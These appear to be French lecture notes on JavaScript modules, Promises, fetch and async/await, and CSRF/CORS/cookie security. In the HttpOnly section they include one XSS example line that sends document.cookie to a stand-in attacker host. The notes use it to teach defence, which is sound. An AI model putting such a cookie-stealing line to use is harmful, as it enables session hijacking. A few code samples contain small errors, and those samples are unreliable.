Cours 4
Compléments JavaScript Modules, Promesses, Sécurité

Plan du cours

Compléments sur l’architecture, l’asynchronisme et la sécurité

Plan :

  1. Modules JS : import / export
  2. Utilisation de bibliothèques externes
  3. Promise et async/await
  4. Focus sur fetch
  5. Sécurité : attaque CSRF et contre-mesure CORS

Modules ECMAScript (ESM)

Utilité des modules

Modules : Mécanisme pour diviser les programmes JavaScript en plusieurs morceaux qui peuvent s’importer les uns dans les autres.

Fonctionnalité présente notamment dans Node.js depuis longtemps.

Prise en charge par les navigateurs avec le système de modules ESM (ECMAScript Module), apparu dans la norme du langage ES6 en 2015.

Un script JS déclaré comme module peut utiliser :

  • import permet d’importer des fonctionnalités d’autres modules.
  • export désigne les variables et les fonctions qui doivent être accessibles depuis l’extérieur du module en cours.

Syntaxe de base pour export et import

Placer export devant n’importe quelle déclaration (variable, fonction ou classe)

// 📁 export.js
// exporte une variable, par ex. un tableau
export let months = ['Jan', 'Feb', 'Mar','Apr', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];

// exporte une constante
export const MODULES_BECAME_STANDARD_YEAR = 2015;

// exporte une classe
export class User {constructor(name) {this.name = name;}}

Import par liste des noms

import {months, MODULES_BECAME_STANDARD_YEAR, User} from './export.js';

Nom de module :

  • soit URL relative qui commence par /, ./, ou ../
  • soit URL absolue

Chargement de modules

<script type="module"> pour indiquer au navigateur qu’un script doit être traité comme un module

<!-- 📁 index.html -->
<!doctype html>
<script type="module">
  import {sayHi} from './say.js';

  document.body.innerHTML = sayHi('John');
</script>
// 📁 say.js
export function sayHi(user) {
  return `Hello, ${user}!`;
}

Le navigateur récupère et évalue automatiquement le module importé (et ses importations si nécessaire), puis exécute le script.

Autres syntaxes pour export et import

  1. Export séparé des déclarations

    // say.js
    function sayHi(user) { alert(`Hello, ${user}!`); }
       
    function sayBye(user) { alert(`Bye, ${user}!`); }
       
    export {sayHi, sayBye}; // liste de variables exportées
    
  2. Importer tout dans un objet
    import * as say from './say.js';
    say.sayHi('John');
    say.sayBye('John');
    
  3. Import avec un alias
    import {sayHi as hi, sayBye as bye} from './say.js';
    hi('John'); // Hello, John!
    bye('John'); // Bye, John!
    

Export et import par défaut

Syntaxe export default pour les modules qui n’exportent qu’une seule chose

// 📁 user.js
export default class User { // export default
  constructor(name) {
    this.name = name;
  }
}
// 📁 main.js
import User from './user.js'; // Pas {User}, juste User
new User('John');

Accolades pour les imports d’exports nommés           vs.           Pas d’accolades pour les imports d’exports par défaut.

Par convention, le nom d’une variable exportée par défaut correspond à celui de son fichier

import User from './user.js';
import LoginForm from './loginForm.js';
import func from '/path/to/func.js';

Caractéristiques de base des modules

  • Toujours use strict :
    • Variante moderne mais plus restrictive de JavaScript.
    • Lève des exceptions à la place de certaines erreurs silencieuses, par exemple l’affectation de variables non déclarées.
    • Permet aux moteurs JavaScript d’effectuer des optimisations.
    • Prévoit les prochaines versions d’ECMAScript.
  • Portée limitée au niveau du module : Les variables et fonctions globales d’un module ne sont pas visibles dans les autres scripts.

  • Le chargement des modules est différé, comme defer.

  • À la différence des scripts classiques, les scripts des modules qui proviennent d’une autre origine nécessitent une autorisation CORS (cf. suite du cours).

    En particulier, pas de module avec le protocole file://, sinon erreur CORS.

Un module n’est évalué que la première fois

Le code d’un module n’est évalué que la première fois lorsqu’il est importé.

// 📁 admin.js
export let admin = {
  name: "John"
};

Lors du premier import, le script admin.js est évalué et l’objet admin est créé.
Tous les importateurs reçoivent exactement ce seul et unique objet admin :

// 📁 1.js
import {admin} from './admin.js';
admin.name = "Pete";
// 📁 2.js
import {admin} from './admin.js';
alert(admin.name); // Pete
// 1.js et 2.js font références au même objet admin
// Les changements fait dans 1.js sont visibles dans 2.js

Utilisé en pratique pour configurer des bibliothèques.

Utilisation de bibliothèques externes

Exemple d’installation de three.js

Exemple :

  • Installation de la bibliothèque three.js à l’aide du node package manager npm

    npm install three
    

    → génère méta-informations package.json, installe three dans node_modules

  • Utilisation de la bibliothèque
    // js/main.js
    import * as THREE from 'three';
    // ... code utilisant three
    
    <!-- index.html -->
    <script type="module" src="main.js"></script>
    
  • Mais ça ne marche pas !

Les paquets npm ne marchent pas dans le navigateur ?

npm est historiquement fait pour exécuter des bibliothèques JS dans Node, pas dans votre site Web :

  • Pas de résolution de modules :
    Les navigateurs ne comprennent pas import 'three', mais seulement les URL absolues ou relatives qui commencent par /, ./, ou ../.

  • Format incompatible :
    Avant les modules ECMAScript, la communauté JS avait inventé divers systèmes de modules.
    CommonJS est le système de module créé pour Node.js, non pris en charge par les navigateurs.
    La majorité des bibliothèques npm sont au format CommonJS (require, module.exports).

  • Pas de système de paquets natif :
    npm est un outil Node.js. Les navigateurs ne savent pas accéder au registre npm, ni gérer les dépendances.

Solution :

  • Simple : Utiliser un Content Delivery Network (CDN) compatible avec le format ESM, par ex. jsDelivr ou esm.sh.
  • Professionnelle (cf. an prochain parcours A & D) :
    • Outil de construction (build) pour convertir entre systèmes de modules
    • Serveurs de développement pour reconstruire à la volée

Promesses

Problèmes des callback

Problèmes des fonctions de rappels (callback) pour la programmation asynchrone :

Le code est difficile à gérer en cas d’appels imbriqués et de gestion d’erreur avec des callback.


Exemple de “callback hell (ou pyramid of doom”) lors du TD6 (Pokemon). →

function addEvolutionChain(nameOrIndex) {
    // requête 1 ...
    xhr1.open('GET', '...');
    xhr1.onload = function () {
        if (xhr1.status === 200) {
            // requête 2 ...
            xhr2.open("GET", '...');
            xhr2.onload = function () {
                if (xhr2.status === 200) {
                    for (const speciesUrl of getSpeciesUrls('...')) {
                        // requête 3 ...
                        xhr3.open("GET", '...');
                        xhr3.onload = function () {
                            if (xhr3.status === 200) {
                              // ...
                            } else {
                                console.log(Error(xhr3.statusText));
                            }
                        }
                        xhr3.send();
                    }
                } else {
                    console.log(Error(xhr2.statusText));
                }
            }
            xhr2.send();
        } else {
            console.log(Error(xhr1.statusText));
        }
    }
    xhr1.send();
}

Promesse : construction

new Promise(
  function executor(resolve, reject) {
    // L'exécuteur : action asynchrone qui prend du temps
  }
);
  • La fonction passée à new Promise est appelée l’exécuteur.

  • Le constructeur de Promise lance automatiquement l’exécuteur.

  • Quand l’exécuteur a terminé, il appelle une des deux fonctions de retour :

    • s’il obtient le résultat value, il tient la promesse avec resolve(value).

    • si une erreur error est survenue, il rompt la promesse avec reject(error).

Promesse : propriétés internes

L’objet promise retourné par le constructeur new Promise a des propriétés internes :

  • state (état) : initialement à "pending" (en attente), se change
    • soit en "fulfilled" (tenue) lorsque resolve est appelé
    • soit en "rejected" (rompue) si reject est appelé.
  • result : initialement à undefined, se change
    • en value quand resolve(value) est appelé
    • ou en error quand reject(error) est appelé.

Exemple 1:

let promise = new Promise(function(resolve, reject) {
  // la fonction est exécutée automatiquement quand la promesse est construite

  // On signale au bout de 5 secondes que la tâche est terminée avec le résultat "done"
  setTimeout(() => resolve("done"), 5000);
});

Démo : Afficher la promise tout de suite après (pending), ou cinq secondes plus tard (fulfilled avec la valeur done).

Exemple 2:

let promise = new Promise(function(resolve, reject) {
  // On signale après 5 secondes que la tâche est terminée avec une erreur
  setTimeout(() => reject(new Error("Whoops!")), 5000);
});

Démo : Afficher la promise tout de suite après (pending), ou cinq secondes plus tard (rejected avec l’erreur Whoops!).

Abonnement avec .then

On abonne une fonction consommatrice à une promesse avec .then.

Une fonction consommatrice recevra un résultat ou une erreur quand l’exécuteur aura terminé.

promise.then(
  function(result) { /* gère un résultat correct */ },
  function(error) { /* gère une erreur */ }
);

Exemple 1:

let promise = new Promise(function(resolve, reject) {
  setTimeout(() => resolve("done!"), 1000);
});

// resolve lance la première fonction dans .then
promise.then(
  result => alert(result), // affiche "done!" après 1 seconde
  error => alert(error) // ne se lance pas
);

Exemple 2:
Pour traiter seulement les promesses tenues, donnez une fonction en argument à .then :

let promise = new Promise((resolve,reject) => {
  setTimeout(() => resolve("done!"), 1000);
});

promise.then(alert); // affiche "done!" après 1 seconde
// équivalent à
// promise.then(alert, null);

Exemple 3:
Pour traiter seulement les erreurs, on utilise .catch :

let promise = new Promise((resolve,reject) => {
  setTimeout(() => reject(new Error("Whoops!")), 1000);
});

promise.catch(alert); // affiche "Whoops!" après 1 seconde
// équivalent à
// promise.then(null, alert);

Il existe aussi .finally(f) similaire à .then(f, f)

Avantages des promesses

Avantage 1 :
Les promesses nous permettent de faire des choses dans un ordre naturel. D’abord, nous lançons la promesse, puis nous indiquons que faire du résultat avec .then.

Avec les callback, nous devons d’abord dire que faire du résultat avant que d’exécuter l’action asynchrone.


Avantage 2 :
Nous pouvons appeler .then sur une promesse autant de fois que nécessaire, pour abonner de nouvelles fonctions consommatrices.

Avec les fonctions de retour, il ne peut y avoir qu’un seul callback.



Remarque : Promise.then(onFullfilled, onRejected) se rapproche un peu d’un gestionnaire d’évènements

// Le code suivant ne marche pas mais est proche dans l'esprit
promise.addEventListener("fulfilled", onFullfilled)
promise.addEventListener("rejected", onRejected)

Cependant, c’est comme si une promesse n’émettait l’un des 2 évènements fulfilled/rejected une seule fois.

L’enchaînement de promesses

Un appel à .then renvoie une nouvelle promesse, sur laquelle nous pouvons appeler .then.

let p2 = p.then(handler)
p2.then(handler2)
// Ou, plus simplement
p.then(handler).then(handler2)

En pratique, la fonction handler renvoie souvent une promesse p3.
Dans ce cas, la promesse p2 renvoyée par p.then(handler) sera liée à p3.

new Promise( (resolve, reject) => setTimeout(() => resolve(1), 1000))
  .then( (result) => {
    alert(result); // 1
    return new Promise((resolve, reject) => setTimeout(() => resolve(result * 2), 1000))
  })
  .then( (result) => {
    alert(result); // 2
    return new Promise((resolve, reject) => setTimeout(() => resolve(result * 2), 1000))
  })
  .then(alert)

Renvoi de promesses

API Promise

  1. Promise.all prend un tableau de promesses et renvoie une nouvelle promesse.

    let promise = Promise.all(tableau_promesses);
    

    Si l’une des promesses est rejetée, la promesse retournée est rejetée immédiatement avec cette erreur.

    Sinon la nouvelle promesse est résolue lorsque toutes les promesses sont résolues. Le tableau de leurs résultats devient son résultat.

  2. Promise.allSettled(promises) (ajout récent) – attend que toutes les promesses se règlent et retourne leurs résultats sous forme de tableau d’objets avec :
    • state: "fulfilled" ou "rejected"
    • value (si rempli) ou reason (en cas de rejet).
  3. Promise.race(promises) – attend la première promesse réglée, et son résultat/erreur devient le résultat.

  4. Promise.any(promises) (ajout récent) – attend la première promesse qui se réalise, et son résultat devient le résultat. Si toutes les promesses données sont rejetées, AggregateError devient l’erreur de Promise.any.

Boucle d’évènement

Lorsqu’une promesse est prête, les handler lancés par then sont mis dans la file d’attente des micro-tâches.
(Valable aussi pour les promesses créées par un await)

Boucle d’événements (Rappel):

  1. Tant qu’il y a des macro-tâches :
    1. Exécution de la macro-tâche la plus ancienne jusqu’à son terme.
    2. Mise à jour du rendu
  2. Attend jusqu’à ce qu’une macro-tâche apparaisse, puis repasse à 1.

Boucle d’événements (Complétée):

  1. Tant qu’il y a des macro-tâches :
    1. Exécution de la macro-tâche la plus ancienne jusqu’à son terme.
    2. Tant qu’il y a des micro-tâches :
      1. Exécution de la micro-tâche la plus ancienne jusqu’à son terme.
    3. Mise à jour du rendu
  2. Attend jusqu’à ce qu’une macro-tâche apparaisse, puis repasse à 1.

Boucle d’évènement : exemple

Exemple : Qu’affiche le programme suivant ?

setTimeout(() => console.log("Étape 1."), 0);
let promesseImmediatementResolue = new Promise( (resolve) => resolve(""));
// Ou promesseImmediatementResolue = Promise.resolve("")

promesseImmediatementResolue.then(() => console.log("Étape 2."));
console.log("Étape 3.");

Réponse : Étape 3 → Étape 2 → Étape 1.

Pourquoi ?

  1. Le callback de setTimeout n’est pas exécuté tout de suite, il est rajouté sur la file d’attente des macrotâches.
  2. Le gestionnaire de la promesse n’est pas exécuté tout de suite, il est rajouté sur la file d’attente des microtâches.
  3. On affiche Étape 3. Fin de la macrotâche = exécution du script.
  4. On dépile une microtâche. Affichage de Étape 2. Fin de la microtâche.
  5. On dépile une macrotâche. Affichage de Étape 1.

Visualisation de la file des tâches avec l’outil JavaScript Visualizer 9000

fetch

Interface de fetch

fetch(url) fait une requête réseau à l’URL et renvoie une promesse.

La promesse se résout avec un objet response de prototype Response lorsque le serveur distant répond avec des en-têtes, mais avant le téléchargement complet de la réponse :

  • response.status – Code HTTP de la réponse,
  • response.oktrue est le statut 200-299,
  • response.headers – objet avec en-têtes HTTP.

La promesse d’obtenir plus tard le corps de la réponse est disponible grâce à :

  • response.text() – lit la réponse et retourne sous forme de texte,
  • response.json() – analyse la réponse en JSON,

Requête POST

Envoi de formulaire

let htmlForm = $("form");
let formData = new FormData(htmlForm);
formData.append("prenom", "Marc");
formData.append("nom", "Assin");

async function submit() {
  let response = await fetch('/form.php', {
    method: 'POST',
    body: formData
  });
  let result = await response.text();
  alert(result.message);
}

Envoi / réception de JSON

let user = {
  prenom: 'Marc',
  nom: 'Assin'
};

async function submit() {
  let response = await fetch('/api.php', {
    method: 'POST',
    body: JSON.stringify(user)
    headers: {
      'Content-Type': 'application/json'
    },
  });
  let result = await response.json();
  alert(result.message);
}

async/await

Utilité de async/await

La syntaxe async/await sert principalement à enchaîner et gérer des promesses de manière plus lisible et intuitive.

Elle permet d’écrire du code asynchrone qui se lit comme du code synchrone, évitant les chaînes de .then().


Exemple du TD6 :

function getEvolutionChain(nameOrIndex) {
  fetch(`pokemon-species-url`)
    .then(response => response.json())
    .then(data => fetch(data.evchain_url))
    .then(response => response.json())
    .then(data => data.chain)
    .catch(error => console.log(error));
}
async function getEvolutionChain(nameOrIndex) {
  try {
    const specResp = await fetch(`pokemon-species-url`);
    const specData = await specResp.json();
    const evChainResp = await fetch(specData.evchain_url);
    const evChainData = await evChainResp.json();
    return evChainData.chain;
  } catch (error) {
    console.log(error);
  }
}

async

async renvoie toujours une promesse

await d’une promesse résolue

Dans une fonction async, on peut utiliser le mot-clé await avant une promesse.

Le mot-clé await fait en sorte d’attendre que cette promesse se réalise et renvoie son résultat.

let value = await promise;

C’est juste une syntaxe plus facile pour obtenir le résultat de la promesse que promise.then.

function f1() {
  // code 1 ...
  return promesse1;
}
function f2(var1) {
  // code 2 ...
  return promesse2;
}
function f3(var2) {
  // code 3 ...
  return promesse3;
}
async function f() {
  let var1 = await f1();
  let var2 = await f2(var1);
  return f3(var2);
}

f()
// est équivalent à 
f1().then(var1 => f2(var1)).then(var2 => f3(var2))

Remarque : Les navigateurs modernes permettent d’utiliser await dans les modules hors d’une fonction async.

await d’une promesse rompue

Si une promesse se résout normalement, alors await promise renvoie le résultat.
Mais dans le cas d’un rejet, il jette l’erreur, comme s’il y avait une instruction throw à cette ligne.

Le code suivant

async function f() {
  let promesseRompue = new Promise(
    function(resolve, reject) {
      reject(new Error("Whoops!"));
  }); // Ou promesseRompue = Promise.reject(new Error("..."))

  await promesseRompue;
}

est équivalent à

async function f() {
  throw new Error("Whoops!");
}

→ On traite les promesses rompues avec des try/catch, comme dans un code synchrone.

Sécurité Web

Menaces sur les sites / applications Web

Menaces les plus connues :

  • la compromission des ressources : modifier le site pour remplacer le contenu légitime par un contenu choisi par l’attaquant.
  • le vol de données : perte de la confidentialité de certaines données (authentifiant, informations personnelles/bancaires, …).
  • le déni de service : rendre indisponible le site attaqué.

Classes d’attaques courantes :

  • SQLi (injection SQL) : transmission de code malveillant parmi les données qu’attend un serveur web pour déclencher une requête de BD.
    Contre-mesures : Requêtes préparées, …

  • XSS (Cross-Site Scripting) : le navigateur d’un utilisateur du site va interpréter des données malicieuses (par ex. JS ou HTML) pour provoquer un comportement particulier. Vise à récupérer des secrets ou à effectuer des actions en leur nom.
    Contre-mesures : textContent, setAttribute, encodeURIComponent, …

  • CSRF (Cross-Site Request Forgery) : force un utilisateur à exécuter, à son insu, des actions privilégiées sur un autre site sur lequel il est authentifié. Ce type d’attaques a lieu lors de la navigation sur un site piégé qui émet des requêtes vers un site de confiance, mais vulnérable au CSRF.

Exemple de Cross-Site Request Forgery (CSRF)

Scénario classique

Attaque CSRF : Une requête silencieuse est lancée, par exemple avec fetch.

Concerne les requêtes qui changent l’état de l’application.

Politique de sécurité Same-Origin Policy (SOP)

Définition de l’origine


Same-Origin Policy (SOP)

Un document/script de origine1 veut interagir avec une autre ressource chargée depuis origine2 :

  • Si même origine : pas de restriction
  • Si origine différente (Cross-Origin) : stratégie de contrôle paramétrable par le mécanisme Cross-Origin Resource Sharing (CORS).


Attention : Si l’une des origines a le protocole file://, alors la requête est toujours considérée cross-origin.


Dans la suite, nous allons nous focaliser sur fetch/XMLHttpRequest et les cookies.

Fetch: Requêtes cross-origin

Il existe deux types de requêtes fetch cross-origin :

  1. Les requêtes simples, qui correspondent en gros aux requêtes qu’un formulaire pourrait envoyer.
  2. Toutes les autres.


Une requête est simple si elle remplit deux conditions :

  1. Méthode simple : GET, POST ou HEAD
  2. En-têtes simples : les seuls en-têtes de requête personnalisés autorisés sont
    • Accept,
    • Accept-Language,
    • Content-Language,
    • Content-Type avec la valeur application/x-www-form-urlencoded, multipart/form-data ou text/plain.

Fetch: Requêtes cross-origin simples

Demande d’autorisation du navigateur au serveur :

  1. Le navigateur ajoute toujours l’en-tête Origin à la requête.

  2. Si le serveur veut accepter la requête, il ajoute l’en-tête Access-Control-Allow-Origin à la réponse, de valeur l’origine autorisée ou *.

  3. Le navigateur vérifie Access-Control-Allow-Origin et autorise ou non JavaScript à accéder à la réponse.

Donc on peut toujours envoyer une requête simple, mais il faut l’autorisation que JS puisse lire la réponse.

→ 💀 Risque si la requête simple change l’état de l’application.

→ 🔒 Pas de risque qu’une attaque CSRF lise la réponse (si le serveur refuse l’autorisation).

Fetch: Requêtes cross-origin non simples

N’importe quelle méthode HTTP : PATCH, PUT, DELETE, … → Utile pour accéder à une API Rest


  1. le navigateur envoie une requête préalable (preflight) de méthode OPTIONS, demandant l’autorisation.

  2. Le serveur peut accepter la requête ou non.

  3. En fonction, le navigateur envoie la requête véritable et JS peut lire la réponse.


→ 🔒 Pas de risque qu’une attaque CSRF envoie la requête, ni qu’il ait une réponse (si le serveur refuse l’autorisation).

Recommandations de sécurité

Conséquence : Les requêtes qui changent l’état de l’application doivent être protégées.


Solution 1
Les requêtes qui changent l’état de l’application ne doivent pas être des requêtes simples.
→ Méthode PATCH, PUT, DELETE, ou en-tête supplémentaire
⚠️ Navigation difficile, nécessite d’utiliser fetch pour toutes ces requêtes, plutôt pour les API.


Solution 2
Les requêtes qui changent l’état de l’application doivent être protégées par des jetons anti-CSRF.

Exemple de fonctionnement de jeton anti-CSRF pour un formulaire :

  1. Le client demande la page qui affiche le formulaire.
  2. Le serveur inclus un <input type="hidden"> contenant un jeton anti-CSRF aléatoire.
  3. Le client enverra automatiquement le jeton anti-CSRF lors de la soumission du formulaire.
  4. Le serveur vérifie ce jeton avant d’effectuer l’action qui change l’état.

Pourquoi ça marche ?
Un attaquant CSRF ne peut pas lire les réponses d’une requête cross-origin (si le serveur est bien codé).

Sécurisation des identifiants dans les cookies

Mécanisme 1: Domaine d’un cookie
Un cookie est lié au hostname (ou un sous-domaine) du serveur qui l’a déposé → n’empêche pas une attaque CSRF

Mécanisme 2: Option Same-Site

  • On regarde l’URL de la page courante du navigateur, et l’URL de la requête fetch (ou <img>, <script>…)
  • La requête est same-site si les 2 URL ont le même Top-Level Domain (TLD) et le même protocole.

    Exemple : Navigateur sur le site https://blog.site.fr/, requête sur l’URL https://forum.site.fr/
    Same-site car ils ont le même Top-Level Domain (TLD) site.fr et le même protocole.
    ⚠️ same-sitesame-origin

  • Option SameSite des cookies, valeur :
    • Strict : cookie n’est envoyé que si same-site
    • Lax (par défaut) : cookie envoyé si same-site ou requêtes “sûres” (=requêtes GET de navigation (qui change l’URL de la page))
      Utile pour apparaître connecté quand on arrive sur un site.
    • None : pas de contraintes, nécessite Secure activé, exemple : cookies publicitaires, de suivi…

Recommandation : SameSite=Strict, ou Lax si le cookie n’autorise pas d’action privilégiée via la méthode GET.
→ 🔒 Peu de risque de CSRF car pas d’identification via les cookies.

Attention : ⚠️ SameSite non supporté par les vieux navigateurs d’avant 2017 (5% des clients Web en 2025).

Sécurisation des identifiants dans les cookies

Autres options de sécurité des cookies :

  • Secure (désactivé par défaut) : Le cookie est envoyé seulement avec les requêtes HTTPS.

    Si un cookie a un contenu sensible, il ne devrait pas être envoyé sur HTTP (risque d’écoute du réseau)

    Les requêtes HTTP ne peuvent pas déposer de cookie Secure (risque de modification du cookie)

    Comportement ignoré sur localhost.


  • HttpOnly (désactivé par défaut) : Interdit à JavaScript d’accéder au cookie (avec document.cookie).

    Le cookie sera envoyé normalement avec toutes les requêtes, même celles de fetch.

    Permet d’atténuer les attaques XSS comme

    new Image().src = `http://malicie.ux/vol-de-cookie.php?cookie=${document.cookie}`;
    

Envoi de cookies par fetch

Pour envoyer les cookies avec une requête fetch cross-origin, il y a un mécanisme de sécurité en plus de SameSite.

fetch(url, {credentials: same-origin}) // ou omit ou include

L’option credentials de fetch contrôle si le navigateur envoie des cookies & si le navigateur modifie les cookies (comme demandé par la réponse avec l’en-tête Set-Cookie).

Valeur de credentials :

  • same-origin (par défaut) : Pas d’envoi ni de modifications des cookies lors de requêtes cross-origin,
  • omit : ne jamais envoyer ni modifier les cookies.
  • include : Restrictions lors de requêtes cross-origin (à peu près celles des requêtes CORS)
    • requêtes simples : envoi systématique des cookies. Modification des cookies et lecture de la réponse si autorisation du serveur.
    • requêtes non simples : Si le serveur donne l’autorisation lors du preflight, alors la requête est envoyée avec les cookies, la réponse est lisible par JS, et les cookies soient modifiés.

    Remarque : L’autorisation du serveur doit contenir en plus Accept-Control-Allow-Credentials:true, et un Access-Control-Allow-Origin valide mais pas *.

Sources